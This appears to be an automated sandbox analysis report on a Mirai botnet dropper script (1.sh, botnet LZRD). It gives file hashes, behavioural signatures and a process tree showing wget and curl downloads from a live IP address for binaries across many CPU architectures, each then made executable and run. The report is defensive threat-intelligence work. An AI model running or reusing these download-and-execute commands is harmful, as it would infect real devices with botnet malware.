Analysis

  • max time kernel
    139s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    16-12-2024 07:57

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    27997dbf677f04b714e6bbc6c8731b3a

  • SHA1

    cdc488f161e0fdbd400b7fddfa7d3243105ee9a6

  • SHA256

    8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030

  • SHA512

    690ddc258ace9cdcb42fc1cd9e2f72fbb0613361a4f5e2fca9fc3a91fc1e61e9d799d52657ec6372093f32493a6f2b58a8a336346d81bc998aaca8cfe3e491b1

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 28 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 28 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:1494
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:1495
    • /usr/bin/wget
      wget http://89.169.4.44/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1496
    • /usr/bin/curl
      curl -O http://89.169.4.44/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1501
    • /bin/cat
      cat Space.arc
      2⤵
        PID:1502
      • /bin/chmod
        chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-7Ln7Tz
        2⤵
        • File and Directory Permissions Modification
        PID:1503
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:1504
      • /usr/bin/wget
        wget http://89.169.4.44/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1506
      • /usr/bin/curl
        curl -O http://89.169.4.44/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1507
      • /bin/cat
        cat Space.x86
        2⤵
          PID:1508
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.x86 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-7Ln7Tz
          2⤵
          • File and Directory Permissions Modification
          PID:1509
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1510
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-7Ln7Tz
          2⤵
          • File and Directory Permissions Modification
          PID:1519
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1520
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1526
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1527
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-7Ln7Tz
          2⤵
          • File and Directory Permissions Modification
          PID:1529
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1530
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1536
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1537
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-7Ln7Tz
          2⤵
          • File and Directory Permissions Modification
          PID:1539
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1540
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          PID:1546
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1547
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-7Ln7Tz
          2⤵
          • File and Directory Permissions Modification
          PID:1549
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1550
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1556
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1557
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-7Ln7Tz
          2⤵
          • File and Directory Permissions Modification
          PID:1559
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1560
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1568
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1569
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
          2⤵
          • File and Directory Permissions Modification
          PID:1571
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1572
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1578
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1579
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
          2⤵
          • File and Directory Permissions Modification
          PID:1581
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1582
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1588
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1589
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
          2⤵
          • File and Directory Permissions Modification
          PID:1591
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1592
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1598
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1599
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
          2⤵
          • File and Directory Permissions Modification
          PID:1601
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1602
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1608
        • /usr/bin/curl
          curl -O http://89.169.4.44/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1609
        • /bin/chmod
          chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
          2⤵
          • File and Directory Permissions Modification
          PID:1611
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1612
        • /usr/bin/wget
          wget http://89.169.4.44/hiddenbin/Space.sparc
          2⤵
            PID:1618
          • /usr/bin/curl
            curl -O http://89.169.4.44/hiddenbin/Space.sparc
            2⤵
            • Writes file to tmp directory
            PID:1619
          • /bin/chmod
            chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
            2⤵
            • File and Directory Permissions Modification
            PID:1621
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1622
          • /usr/bin/wget
            wget http://89.169.4.44/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1628
          • /usr/bin/curl
            curl -O http://89.169.4.44/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1629
          • /bin/chmod
            chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
            2⤵
            • File and Directory Permissions Modification
            PID:1631
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1632
          • /usr/bin/wget
            wget http://89.169.4.44/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1638
          • /usr/bin/curl
            curl -O http://89.169.4.44/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1639
          • /bin/chmod
            chmod +x 1.sh busybox config-err-BdnwVs netplan_2az14oqi snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue
            2⤵
            • File and Directory Permissions Modification
            PID:1641
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1642

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/Space

          Filesize

          34KB

          MD5

          7fd15b25eadc2d7f94f4124546174e50

          SHA1

          2c056f909dbe70e262a7ab80426b7e088799b78e

          SHA256

          14a364908f6b67c83ce526976e8fccf4cff103d613866fb6e3da170e2e0a926f

          SHA512

          dd28a5c4d022da86df61bb6e60ddf04eeec747be632b4801c7f8115129e26ccf1c29b9f16bcae570435a303e87175dbb1b3c2b7c622e4453dba2aa9d7a68f47d

        • /tmp/Space.arc

          Filesize

          113KB

          MD5

          df48b559206b579e49b8fe67877af3ad

          SHA1

          05509c76e87089fb3cc8f73dcb62b203c2268436

          SHA256

          787021c436a55881b06f80e8a59f944892e912cdf1960998f907666616aef1e1

          SHA512

          ea4493023059948a5db21a83e0a46469660e77d3f79967531fb552bf1b69ad85ade859225e30f2cecec9133715c26e052cd625d0d858b51bdc1186666840edca

        • /tmp/busybox

          Filesize

          2.0MB

          MD5

          b4dede5fc0b1bad5cb8e901bde126b97

          SHA1

          10cbe9a418ad84a1ed297948539d37aeb58dd810

          SHA256

          a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

          SHA512

          45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6